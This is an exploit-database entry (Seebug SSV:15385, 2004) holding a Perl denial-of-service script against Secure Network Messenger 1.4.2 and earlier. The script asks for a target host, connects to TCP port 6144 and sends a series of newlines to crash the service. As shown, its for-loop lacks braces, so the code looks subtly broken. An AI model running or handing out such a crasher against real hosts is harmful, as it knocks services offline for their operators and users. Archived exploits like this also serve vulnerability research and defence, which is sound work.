Secure Network Messenger <= 1.4.2 Denial of Service Exploit

ID SSV:15385
Type seebug
Reporter Root
Modified 2004-11-15T00:00:00


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use IO::Socket;
print ("\nSecure Network Messenger Crasher by ClearScreen\n");
print ("\nEnter host to crash: ");
$h = <STDIN>;
chomp $h;
$socks = IO::Socket::INET->new(
        Proto => "tcp",
        PeerPort => "6144",
        PeerAddr => "$h"
) or die "\nNo response from host.";

sleep 1;
print "\nSuccesfully connected to $h!\n";
for ($count=1; $count<15; $count++)
 print $socks "\n";
 select(undef, undef, undef, 0.1);
print "\nMessenger crashed.";
close $socks;

# [2004-11-15]